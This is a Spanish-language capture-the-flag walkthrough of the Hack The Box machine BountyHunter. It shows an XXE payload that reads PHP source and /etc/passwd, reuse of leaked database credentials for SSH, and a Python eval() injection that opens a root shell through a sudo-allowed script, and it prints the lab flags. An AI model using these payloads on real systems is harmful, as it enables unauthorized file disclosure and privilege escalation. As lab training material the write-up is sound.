This page looks best with JavaScript enabled

Hack The Box - BountyHunter

 •  ✍️ sckull

En BountyHunter explotamos una vulnerabilidad XXE la cual permitio obtener credenciales para acceder a la maquina. Obtuvimos acceso root mediante el analisis y explotacion de un script en Python especificamente de la funcion eval().

Nombre BountyHunter box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.100
Maker

ejedev

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5, 4.4, 4.8, 5.2, 5.6],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[4, 3, 3, 7, 7],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80, 5000), https (443), smb (139, 445), mysql (3306), winrm (5985).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.91 scan initiated Sat Jul 24 18:18:08 2021 as: nmap -Pn -sV -sC -p22,80 -oN scans 10.10.11.100
Nmap scan report for 10.10.11.100 (10.10.11.100)
Host is up (0.20s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 24 18:18:21 2021 -- 1 IP address (1 host up) scanned in 12.80 seconds

Web Site

Encontramos una pagina estatica donde se muestran distintas direcciones, aunque no muestra informacion relevante.
image

Development - User

La direccion del Portal nos muestra una nueva direccion donde se muestra un nuevo formulario.

1
2
3
4
5
6
7
 π ~/htb/bountyhunter ❯ curl -s http://10.10.11.100/portal.php
<html>
<center>
Portal under development. Go <a href="log_submit.php">here</a> to test the bounty tracker.
</center>
</html>
 π ~/htb/bountyhunter ❯

Al llenar el formulario se muestra el contenido enviado en la pagina.
image

Capturamos el trafico con Burpsuite y vemos que se envia los datos codificados en base64.
image

XXE

Vemos que el contenido es una estructura en XML.

1
2
3
4
5
6
7
8
9
 π ~/htb/bountyhunter ❯ echo PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50aXRsZTwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz5jdnNzPC9jdnNzPgoJCTxyZXdhcmQ+cmV3YXJkPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+ | base64 -d
<?xml  version="1.0" encoding="ISO-8859-1"?>
		<bugreport>
		<title>title</title>
		<cwe>cwe</cwe>
		<cvss>cvss</cvss>
		<reward>reward</reward>
		</bugreport>                                                                
 π ~/htb/bountyhunter ❯

Tomamos en cuenta que la pagina esta escrita en PHP (segun su extension), modificamos un payload para leer el contenido de la pagina actual.

1
2
3
4
5
6
7
8
echo -n '<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=tracker_diRbPr00f314.php"> ]>
<bugreport>
	<title>a</title>
	<cwe>&xxe; sckull</cwe>
	<cvss>b</cvss>
	<reward>c</reward>
</bugreport>' | base64 | tr -d '\n' && echo ""

Codificamos en base64 y utilizando CyberChef codificamos en url nuestro payload.
image

Tras enviar la solicitud logramos obtener el codigo fuente, realizamos lo mismo con direcciones que ya conociamos pero no obtuvimos nada interesante, solo un nombre de usuario: development.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//tracker_diRbPr00f314.php
<?php

if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td><?php echo $bugreport->title; ?></td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td><?php echo $bugreport->cwe; ?></td>
  </tr>
  <tr>
    <td>Score:</td>
    <td><?php echo $bugreport->cvss; ?></td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td><?php echo $bugreport->reward; ?></td>
  </tr>
</table>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//../log_submit.php
<?php

if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td><?php echo $bugreport->title; ?></td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td><?php echo $bugreport->cwe; ?></td>
  </tr>
  <tr>
    <td>Score:</td>
    <td><?php echo $bugreport->cvss; ?></td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td><?php echo $bugreport->reward; ?></td>
  </tr>
</table>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

Directory Brute Forcing

Con Feroxbuster enumeramos direcciones y directorios donde encontramos el archivo db.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 π ~/htb/bountyhunter ❯ feroxbuster -u http://10.10.11.100/ -w $MD -x php,html,txt --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.100/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html, txt]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200      388l     1470w        0c http://10.10.11.100/index.php
301        9l       28w      316c http://10.10.11.100/resources
301        9l       28w      313c http://10.10.11.100/assets
200        5l       15w      125c http://10.10.11.100/portal.php
301        9l       28w      310c http://10.10.11.100/css
200        0l        0w        0c http://10.10.11.100/db.php
301        9l       28w      309c http://10.10.11.100/js
403        9l       28w      277c http://10.10.11.100/server-status
[####################] - 35m  2646540/2646540 0s      found:8       errors:10
[####################] - 35m   882180/882180  410/s   http://10.10.11.100/

Obtuvimos el codigo fuente de este archivo y encontramos credenciales para una base de datos. nmap no mostró ningun puerto relacionado a una base de datos.

1
2
3
4
5
6
7
8
9
// db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Shell

Utilizamos la contraseña y usuario encontrado, por SSH donde logramos obtener una shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 π ~/htb/bountyhunter ❯ ssh development@10.10.11.100 # m19RoAU0hP41A1sTsq6K
The authenticity of host '10.10.11.100 (10.10.11.100)' can't be established.
ECDSA key fingerprint is SHA256:3IaCMSdNq0Q9iu+vTawqvIf84OO0+RYNnsDxDBZI04Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.100' (ECDSA) to the list of known hosts.
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 24 Jul 2021 11:32:02 PM UTC

  System load:           0.07
  Usage of /:            25.5% of 6.83GB
  Memory usage:          24%
  Swap usage:            0%
  Processes:             319
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:38d7


0 updates can be applied immediately.


Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ ls
contract.txt  user.txt
development@bountyhunter:~$ cat user.txt
cb9b6766f10dd2aed725167b2e051200
development@bountyhunter:~$

Privesc

Tras ejecutar sudo -l -l vemos que tenemos permisos sudo (root) para ejecutar un script de python, el archivo solo tiene permisos de lectura para el usuario actual.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
development@bountyhunter:~$ sudo -l -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$ ls -lah /opt/skytrain_inc/ticketValidator.py
-r-xr--r-- 1 root root 1.5K Jul 22 11:08 /opt/skytrain_inc/ticketValidator.py
development@bountyhunter:~$

El script realiza la lectura de archivos .md donde verifica que ciertos “strings” existan. Vemos tambien que realiza una evaluacion de una expresion lo que supondria una vulnerabilidad.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Antes de evaluar la expresion divide la linea por el signo + y toma el primer elemento de la lista, finalmente verifica si el valor restante del elemento es igual a 4 para luego evaluar la linea eliminando el valor ** seguramente para no afectar la evaluacion.

1
2
3
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
    validationNumber = eval(x.replace("**", ""))

Local Execution

Creamos el archivo .md donde colocamos una pequeña expresion para verificar que este valor sea sumando, modificando el script localmente para verificar los valores.

1
2
3
4
# Skytrain Inc
## Ticket to sckull.blog
__Ticket Code:__ 
** 11+1

La modificacion solo es un print para algunas variables.

1
2
3
4
5
ticketCode = x.replace("**", "").split("+")[0]
print("TicketCode: " + ticketCode)
if int(ticketCode) % 7 == 4:
    validationNumber = eval(x.replace("**", ""))
    print("Validation Number: " + str(validationNumber))

Tras ejecutar el script vemos que el valor se suma.

1
2
3
4
5
6
 π ~/htb/bountyhunter ❯ python3 help_tickets.py
Destination: sckull.blog
TicketCode:  11
Validation Number: 12
Invalid ticket.
 π ~/htb/bountyhunter ❯

Modificamos el archivo .md esta vez con algun payload o codigo para que sea ejecutado en este caso bash.

1
2
3
4
# Skytrain Inc
## Ticket to sckull.blog
__Ticket Code:__ 
**11+__import__('os').system('/bin/bash -p')

Tras la ejecucion local, se muestra una shell bash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/bountyhunter ❯ python3 help_tickets.py
Destination: sckull.blog
TicketCode:  11
┌──(kali㉿kali)-[~/htb/bountyhunter]
└─$ echo "bash"
bash
┌──(kali㉿kali)-[~/htb/bountyhunter]
└─$ exit
exit
Validation Number: 11
Invalid ticket.
 π ~/htb/bountyhunter ❯

Shell

Creamos el archivo con el contenido en la maquina lo que nos permitio obtener una shell como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
development@bountyhunter:~$ echo -n "# Skytrain Inc
> ## Ticket to sckull.blog
> __Ticket Code:__
> **11+__import__('os').system('/bin/bash -p')" > batman.md
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/home/development/batman.md
Destination: sckull.blog
root@bountyhunter:/home/development# whoami
root
root@bountyhunter:/home/development# cd /root
root@bountyhunter:~# ls
root.txt  snap
root@bountyhunter:~# cat root.txt
a8ba869902da854f7c0a4f133fce3879
root@bountyhunter:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe